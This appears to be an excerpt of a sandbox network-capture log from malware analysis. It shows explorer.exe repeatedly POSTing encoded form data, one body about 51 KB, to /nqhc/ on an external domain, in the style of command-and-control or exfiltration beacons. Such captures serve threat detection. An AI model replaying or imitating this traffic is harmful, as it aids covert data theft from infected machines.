Nov 21, 2022 19:23:01.844465971 CET	1465	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Nov 21, 2022 19:23:01.844527960 CET	1467	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Nov 21, 2022 19:23:01.844592094 CET	1468	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Nov 21, 2022 19:23:01.892462015 CET	1470	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	49876	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:07.533874989 CET	1497	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 6d 75 33 33 41 34 61 62 6f 78 70 37 5f 53 71 58 62 32 73 76 30 37 68 28 51 77 37 70 48 77 61 6a 6b 34 71 46 68 5a 33 6e 58 43 62 79 62 6b 44 71 50 53 55 34 6a 37 57 6d 64 51 6f 6a 42 59 61 7a 70 59 75 38 72 65 43 44 75 6d 47 61 32 6b 64 79 68 78 42 47 42 34 31 5a 33 47 35 42 4b 32 42 7e 35 78 75 44 59 44 72 76 6f 47 62 47 4c 57 47 36 72 66 4c 51 46 46 32 6f 4f 46 35 75 78 45 36 77 2d 30 59 30 41 7e 34 42 58 37 43 33 68 39 38 48 6f 59 55 51 36 75 35 30 63 44 4d 45 34 55 50 6f 31 35 38 4a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=RAo-jdSnhhjKSmu33A4aboxp7_SqXb2sv07h(Qw7pHwajk4qFhZ3nXCbybkDqPSU4j7WmdQojBYazpYu8reCDumGa2kdyhxBGB41Z3G5BK2B~5xuDYDrvoGbGLWG6rfLQFF2oOF5uxE6w-0Y0A~4BX7C3h98HoYUQ6u50cDME4UPo158Jg).
Nov 21, 2022 19:23:07.704783916 CET	1498	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:23:07 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	49877	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:09.721041918 CET	1499	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 78 41 61 6b 47 51 71 47 67 5a 33 33 48 43 62 35 37 6b 47 6c 76 54 59 34 6a 7e 68 6d 66 55 6f 6a 42 38 61 79 59 34 75 7e 62 65 42 49 4f 6d 42 5a 32 6b 41 32 68 78 78 47 47 77 54 5a 32 53 35 41 37 71 42 28 37 5a 75 56 64 6a 6f 34 49 47 64 45 4c 57 42 7a 4c 66 5f 51 46 49 4c 6f 50 74 48 75 48 30 36 77 66 59 59 31 41 7e 37 4c 6e 37 5a 71 78 38 43 4e 4c 41 59 61 4a 4c 62 6b 38 54 77 50 37 39 48 6f 78 6f 62 57 71 72 49 57 62 38 63 63 49 34 51 37 49 31 7a 79 72 67 6c 47 68 41 41 46 4f 49 75 66 31 6b 36 7e 4a 4c 49 4a 6d 45 7a 73 43 6b 5a 4f 38 6d 51 7e 79 66 68 6f 50 30 6f 39 37 6c 7a 34 58 63 4b 55 76 6b 62 46 43 4c 77 33 4b 52 74 45 2d 32 4e 64 5f 78 58 75 79 54 62 6c 4b 4e 37 41 6b 70 56 64 39 34 5f 68 4f 51 39 48 30 44 6d 7e 62 43 43 6a 30 5a 53 6e 74 78 34 6d 76 50 41 72 58 66 65 56 33 4d 5f 33 31 4a 47 72 7a 6a 58 76 6d 4e 75 65 6d 61 62 53 44 55 6a 33 77 4b 56 45 58 42 42 51 4a 7a 47 7a 51 77 48 4c 47 74 45 44 47 63 6b 4d 5a 6c 4a 6d 70 4c 68 6f 37 65 73 67 5f 62 56 4b 4c 54 4c 6f 62 58 36 46 77 70 6a 68 4d 49 52 78 32 4f 6d 32 5f 58 47 74 71 6a 31 67 5a 42 6c 4f 39 33 74 31 71 72 53 58 67 66 69 6b 73 50 4b 6a 62 53 44 68 48 62 51 47 55 4d 46 51 38 5a 6c 4b 6f 6f 78 31 6f 68 5f 4e 63 6d 52 48 37 6d 38 58 67 75 61 4b 64 63 46 6a 42 36 48 37 35 5a 4f 69 61 56 59 75 38 33 74 46 74 4d 30 55 34 41 67 33 6c 4f 72 75 62 54 35 73 4a 75 58 6f 37 74 6e 33 62 4c 79 78 48 43 36 67 53 63 39 70 4b 43 42 67 35 76 73 62 4c 38 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qxAakGQqGgZ33HCb57kGlvTY4j~hmfUojB8ayY4u~beBIOmBZ2kA2hxxGGwTZ2S5A7qB(7ZuVdjo4IGdELWBzLf_QFILoPtHuH06wfYY1A~7Ln7Zqx8CNLAYaJLbk8TwP79HoxobWqrIWb8ccI4Q7I1zyrglGhAAFOIuf1k6~JLIJmEzsCkZO8mQ~yfhoP0o97lz4XcKUvkbFCLw3KRtE-2Nd_xXuyTblKN7AkpVd94_hOQ9H0Dm~bCCj0ZSntx4mvPArXfeV3M_31JGrzjXvmNuemabSDUj3wKVEXBBQJzGzQwHLGtEDGckMZlJmpLho7esg_bVKLTLobX6FwpjhMIRx2Om2_XGtqj1gZBlO93t1qrSXgfiksPKjbSDhHbQGUMFQ8ZlKoox1oh_NcmRH7m8XguaKdcFjB6H75ZOiaVYu83tFtM0U4Ag3lOrubT5sJuXo7tn3bLyxHC6gSc9pKCBg5vsbL8.
Nov 21, 2022 19:23:09.892344952 CET	1500	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:23:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	49878	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:11.907891035 CET	1503	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 79 67 61 6a 31 6f 71 45 44 68 33 30 48 43 62 6e 4c 6b 48 6c 76 54 56 34 6e 61 6c 6d 66 4a 64 6a 44 30 61 78 4c 77 75 7e 70 47 42 4e 4f 6d 45 63 32 6b 43 79 68 78 44 47 42 34 39 5a 79 79 44 42 4b 75 42 7e 34 42 75 44 37 72 72 69 34 47 62 45 4c 57 7a 33 4c 66 33 51 46 4d 6c 6f 50 78 48 75 42 73 36 78 70 45 59 33 52 7e 37 47 58 37 47 78 68 38 37 44 62 42 67 61 4a 65 5f 6b 38 54 67 50 36 35 48 6f 32 38 62 58 70 7a 4c 56 37 38 63 43 59 34 54 28 49 70 76 79 71 4d 39 47 67 30 41 46 4a 55 75 66 56 6b 36 73 38 28 50 5a 32 45 39 6f 43 6b 30 45 74 61 59 7e 79 4c 66 6f 4e 34 6f 7e 4c 78 7a 35 67 41 4b 52 4c 49 62 4c 43 4c 79 7a 4b 52 2d 4b 65 32 6e 64 5f 41 2d 75 7a 7a 55 6c 4e 31 37 42 41 39 56 5a 5a 6b 38 31 65 51 5f 62 6b 44 6f 7a 37 47 34 6a 30 4a 4f 6e 74 77 6c 6d 74 6a 41 71 6d 76 65 53 43 67 67 7a 6c 4a 42 6e 54 69 58 68 32 42 6b 65 69 43 44 53 44 39 6f 33 7a 6d 56 57 6e 42 42 57 6f 7a 46 35 67 77 4b 4a 47 74 57 65 57 63 5f 4d 5a 35 5f 6d 73 71 65 6f 4c 79 73 68 4d 7a 56 4e 62 54 45 73 37 58 41 63 41 70 6c 6c 4d 49 52 78 32 44 52 32 5f 72 47 75 62 72 31 6d 36 5a 6c 66 4b 4c 74 36 4b 72 55 58 67 66 33 6b 73 44 44 6a 62 71 68 68 47 72 36 47 58 67 46 54 6f 64 6c 47 4a 6f 79 77 59 68 2d 4a 63 6e 49 4a 62 72 6a 58 6b 4f 53 4b 64 4d 4b 6a 32 43 48 70 4a 4a 4f 70 36 56 5a 71 63 33 75 56 39 4d 59 65 5a 39 6b 33 6c 36 64 75 62 50 51 73 4b 75 58 74 4f 78 77 6f 35 33 78 69 42 54 62 7e 55 30 4e 74 49 61 65 6c 4a 72 32 5a 5f 42 78 43 6c 54 5f 53 77 7a 50 30 45 4a 72 55 48 51 59 4c 32 4b 30 59 6e 61 76 6b 73 49 4a 7a 44 4b 72 76 53 55 50 68 4e 64 64 70 74 6c 72 39 77 77 4b 35 53 61 6a 7a 76 6c 66 57 77 63 66 74 48 59 62 51 6d 68 70 4d 74 57 73 38 2d 28 4a 28 6f 4d 79 74 77 55 4f 6e 53 67 55 71 65 61 49 58 30 73 49 79 4f 35 2d 44 6c 6b 41 72 70 61 46 6d 74 6d 5f 70 42 63 73 7e 45 74 30 6d 78 33 51 39 69 45 42 53 5a 47 72 32 64 34 4c 77 32 64 71 6a 47 47 4b 66 4a 44 54 66 5f 38 4d 6b 79 77 4f 70 50 6c 4a 32 43 31 56 41 75 42 49 66 68 56 59 33 68 68 52 57 52 76 57 4d 47 32 56 32 32 65 4a 79 43 72 66 36 30 45 38 69 65 7a 49 31 38 6e 52 38 52 6a 74 6d 77 4e 7a 28 48 6d 52 7a 47 5a 48 51 47 4d 33 48 4c 6a 4b 70 46 6b 36 68 37 45 75 73 59 6b 66 6e 79 71 53 52 6c 37 4f 34 54 62 39 66 6d 67 59 39 57 42 5a 69 44 68 57 7a 49 6c 70 62 53 58 50 75 4e 66 2d 6a 6d 6b 38 50 38 6d 58 44 55 4a 30 47 48 4e 56 43 53 4f 32 65 34 32 54 6d 4a 76 6f 67 37 34 33 50 56 33 6a 62 4c 67 74 55 4b 6c 31 56 64 68 30 42 5f 44 34 32 76 4d 77 4f 49 64 7a 79 6f 44 44 69 39 6d 4f 41 71 62 59 47 59 70 4d 6c 4f 49 4b 4d 6a 37 66 68 59 34 75 47 65 4a 34 34 38 63 61 70 56 72 63 71 48 7a 39 7a 41 37 77 64 4a 39 4a 34 6c 64 47 54 58 50 77 42 44 6a 74 54 66 4f 55 4e 6d 77 43 76 41 54 35 4a 65 39 78 30 45 47 6c 6d 47 61 37 61 48 45 71 57 4c 4f 6d 6d 6e 6e 62 66 50 6b 51 61 4d 4e 36 36 57 63 74 4a 38 49 2d 73 56 7a 4c 53 64 31 51 31 51 68 69 45 30 76 2d 51 5f 6f 47 38 37 4b 72 35 58 70 43 6c 6b 48 4d 45 66 75 4e 38 6e 44 38 51 77 35 44 73 6f 6a 4d 63 6d 6a 67 43 43 5a 4d 6f 49 50 4d 79 78 33 53 55 73 39 6f 76 4a 45 65 73 34 63 6c 76 57 70 32 76 47 31 2d 45 4e 39 6a 4a 6c 50 66 35 57 54 69 53 79 59 77 6d 6a 48 71 70 6e 7a 49 44 54 51 6d 42 43 33 53 73 55 30 38 47 41 39 35 69 76 5a 2d 42 46 33 6d 38 58 71 57 7e 33 6f 4b 75 55 64 44 74 65 72 41 55 41 6e 69 59 6b 64 31 39 63 43 4d 39 47 33 48 6b 6f 55 4f 59 75 75 67 6f 57 70 6a 62 4a 35 56 38 53 66 54 48 63 63 6f 4b 47 6c 67 33 47 36 6b 37 43 39 53 52 76 74 6b 52 4b 50 32 41 31 59 69 64 30 6e 61 6e 4d 4d 51 4e 64 55 74 53 55 30 4d 44 58 4c 6f 6f 71 6b 59 51 79 36 6b 4f 44 33 67 32 55 57 72 38 43 32 61 63 75 50 49 47 67 79 4e 78 79 65 33 32 49 68 2d 35 79 57 6b 63 62 74 78 42 42 38 69 57 7a 41 4e 4e 6d 68 33 59 64 54 6f 31 57 44 73 76 68 77 67 4a 47 63 6d 36 72 39 5f 31 62 28 31 71 69 7a 7a 4f 59 34 45 4c 39 79 30 75 66 36 4c 34 35 72 79 66 38 58 5f 67 42 7a 79 79 62 4b 33 41 51 5a 55 66 4e 66 39 7a 72 4e 57 34 53 64 57 72 71 47 46 6b 63 28 6f 53 74 6b 2d 43 66 62 50 72 69 52 68 68 62 56 4a 43 Data Ascii: r4txB=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qygaj1oqEDh30HCbnLkHlvTV4nalmfJdjD0axLwu~pGBNOmEc2kCyhxDGB49ZyyDBKuB~4BuD7rri4GbELWz3Lf3QFMloPxHuBs6xpEY3R~7GX7Gxh87DbBgaJe_k8TgP65Ho28bXpzLV78cCY4T(IpvyqM9Gg0AFJUufVk6s8(PZ2E9oCk0EtaY~yLfoN4o~Lxz5gAKRLIbLCLyzKR-Ke2nd_A-uzzUlN17BA9VZZk81eQ_bkDoz7G4j0JOntwlmtjAqmveSCggzlJBnTiXh2BkeiCDSD9o3zmVWnBBWozF5gwKJGtWeWc_MZ5_msqeoLyshMzVNbTEs7XAcApllMIRx2DR2_rGubr1m6ZlfKLt6KrUXgf3ksDDjbqhhGr6GXgFTodlGJoywYh-JcnIJbrjXkOSKdMKj2CHpJJOp6VZqc3uV9MYeZ9k3l6dubPQsKuXtOxwo53xiBTb~U0NtIaelJr2Z_BxClT_SwzP0EJrUHQYL2K0YnavksIJzDKrvSUPhNddptlr9wwK5SajzvlfWwcftHYbQmhpMtWs8-(J(oMytwUOnSgUqeaIX0sIyO5-DlkArpaFmtm_pBcs~Et0mx3Q9iEBSZGr2d4Lw2dqjGGKfJDTf_8MkywOpPlJ2C1VAuBIfhVY3hhRWRvWMG2V22eJyCrf60E8iezI18nR8RjtmwNz(HmRzGZHQGM3HLjKpFk6h7EusYkfnyqSRl7O4Tb9fmgY9WBZiDhWzIlpbSXPuNf-jmk8P8mXDUJ0GHNVCSO2e42TmJvog743PV3jbLgtUKl1Vdh0B_D42vMwOIdzyoDDi9mOAqbYGYpMlOIKMj7fhY4uGeJ448capVrcqHz9zA7wdJ9J4ldGTXPwBDjtTfOUNmwCvAT5Je9x0EGlmGa7aHEqWLOmmnnbfPkQaMN66WctJ8I-sVzLSd1Q1QhiE0v-Q_oG87Kr5XpClkHMEfuN8nD8Qw5DsojMcmjgCCZMoIPMyx3SUs9ovJEes4clvWp2vG1-EN9jJlPf5WTiSyYwmjHqpnzIDTQmBC3SsU08GA95ivZ-BF3m8XqW~3oKuUdDterAUAniYkd19cCM9G3HkoUOYuugoWpjbJ5V8SfTHccoKGlg3G6k7C9SRvtkRKP2A1Yid0nanMMQNdUtSU0MDXLooqkYQy6kOD3g2UWr8C2acuPIGgyNxye32Ih-5yWkcbtxBB8iWzANNmh3YdTo1WDsvhwgJGcm6r9_1b(1qizzOY4EL9y0uf6L45ryf8X_gBzyybK3AQZUfNf9zrNW4SdWrqGFkc(oStk-CfbPriRhhbVJC_jc5GUlAAIcYH7FTNh1gYHF~s7PIdihL-Z3Cv6x~n54ISVTFiKey_l2kXtugXURFlbACweHIyiuRcpBddNOOKy8vxv36s1yMIFc~95MeEjpMgv9YEmK3FTmYzRyXg8pdIgJ3wPAqo9gKKElKzkLUuhPBO2IH28huYPXWh3XRZjr7GVDaPrLTOea5zSFs4~KTQwVQo4wqwbqNv~1gZNZ9010mGHPDvo40WEyj2GFRZfs~1m5Aqy3KEQvRKeJaA698kbVnTSu8jDbO22eYl8T9xKuyjq9ESIFO_J3D6yc6aupDQm1~3lsnVtPuq7lZN24RPH41sYyj2JKiY2iOMLOtO5bDC05VFzVKgVj2opglg(CkQy0ynZENWdL~936Nw52~ZVD4gkGukUKtniVc9Tl6lremncSEMNtlDyWNiNcw1LdSdlfqHFQxB89c6Y4mJRgE47R208PWDfLEslb1TkzGi6jGucZ~ND0lsbPFRfZT_QYi7mETDMqJ-2QKqKQzmELGUHjrJ7b482BghNmKwu0icnORdqn(W(T(YK_be2I103bQidorGtU~HxEiZaDZFO8j4HJcCRwO7OE5OXyaTUK(Y1vdqo14GOutUP6w0rdT_ac1ndEdvE8ig6aEbzGWb1Ey22kHo6eOFe-l2W-fuqcy4TD0picIU6iEHf1apeWZ-Y2qoSCqPqnipJFaRlc7YC-2Ff8M4sY7q~TmwjntURMsvJJZjIaUu3_eGr7zZ6EdqcicRa9YIZJhdA9vz0mehWuKsrH3n2cMILpySDJseg6Z7GveovvVG
Nov 21, 2022 19:23:11.907933950 CET	1508	OUT	Data Raw: 38 34 37 44 66 4f 71 35 58 5f 70 68 67 6f 34 2d 7a 73 73 6e 4a 36 74 77 36 68 4a 43 53 57 38 39 4d 37 55 4b 76 72 6d 79 4e 6f 28 57 56 30 47 42 48 6b 51 6a 45 51 6a 2d 4c 56 62 36 67 38 49 33 49 65 28 53 4f 4d 6c 4c 70 6f 72 6a 70 6a 5a 67 6f 79 Data Ascii: 847DfOq5X_phgo4-zssnJ6tw6hJCSW89M7UKvrmyNo(WV0GBHkQjEQj-LVb6g8I3Ie(SOMlLporjpjZgoyIgFMWkkPY5qr1MzFtv5a8AiRolZkcUYcME3R7ama0VIqEkGl5qksdR(CRbFHF8jdH7B4BWPdm9rGM5IcK-B4S7wtFkly~_PvsVPH1mfIPSFbtgzFgk12umPnRuJtO-tIj4QaQEjw6a~dYPN-BRq4ordG2TuRt3z9i
Nov 21, 2022 19:23:11.907977104 CET	1513	OUT	Data Raw: 35 35 65 4c 46 43 41 42 41 66 4f 6d 44 44 38 78 79 68 63 5a 43 7a 72 2d 52 48 41 74 75 38 46 6e 44 74 44 41 41 4d 79 54 37 33 73 4d 76 46 65 4a 68 79 56 78 36 2d 4b 38 34 5f 75 53 73 32 64 56 4d 65 38 4a 74 6e 39 52 58 46 4c 57 4e 6d 5a 38 64 46 Data Ascii: 55eLFCABAfOmDD8xyhcZCzr-RHAtu8FnDtDAAMyT73sMvFeJhyVx6-K84_uSs2dVMe8Jtn9RXFLWNmZ8dFBxfrs8WnxYGrlMA-IafDSGwHpAkSvJlyuMn8PM0nZONo13nPuuDVAMNyAhStUqbRLWiTx86zY2DcE8IQVV1Nf0P84y4E7i32Ufwvv4JyzIVxd1Bq6A8dsQTNl7IzVhk8ygwAm9GBDb2vhEeu8T4Sm_4o4u5BfwU-8
Nov 21, 2022 19:23:12.067307949 CET	1515	OUT	Data Raw: 7a 68 44 57 68 35 4f 68 48 37 5a 70 39 72 75 79 41 7a 61 6d 79 36 76 53 70 69 54 62 6e 6c 52 33 4f 68 63 50 65 54 63 41 63 56 54 4c 6e 45 6f 61 49 72 64 4e 66 57 61 31 6f 32 4f 44 32 45 64 76 31 44 58 6c 56 34 6b 4f 32 5f 31 48 4b 39 73 63 6c 78 Data Ascii: zhDWh5OhH7Zp9ruyAzamy6vSpiTbnlR3OhcPeTcAcVTLnEoaIrdNfWa1o2OD2Edv1DXlV4kO2_1HK9sclxhWyrUCTXzzRm2sJNaj~G7LozL-eXhjMe4L166KoQ84zgtOX5pmYpyDi7k23RCDvy8EX8IP0DCN1XlZOCkWDBQbYzWIiDwS5Ee8S3KMcPk3BPoadgvQGThkQQZkJDv_leIxnuN3AwQtlSI2gGQee46XUxRRnCNxSnr
Nov 21, 2022 19:23:12.067368984 CET	1516	OUT	Data Raw: 7e 76 71 73 65 4c 42 62 74 6d 74 6a 4b 4a 4e 7a 28 58 59 75 7e 50 31 66 6a 4d 5a 72 65 56 78 36 73 31 65 47 39 47 53 4f 68 67 66 6b 6e 4c 69 33 33 4f 57 69 59 46 77 63 5a 68 6a 72 50 64 34 4e 6e 41 71 70 38 31 69 53 57 4c 67 72 6f 39 38 43 6e 61 Data Ascii: ~vqseLBbtmtjKJNz(XYu~P1fjMZreVx6s1eG9GSOhgfknLi33OWiYFwcZhjrPd4NnAqp81iSWLgro98Cna6GiB8sERg2ieH410ZyMJtc54wRESU5YWMpWASxb8MzLKlFVpeha932bVNrNCdpmen7hSPCyRgV(HFIJAYbPM4zHjA3KepPyguZnQri2sSGXv0vxo6S676nmlEA71g3ipRvlMk6Txwsf1CsHFxeT5d_G_yb7epDh1~
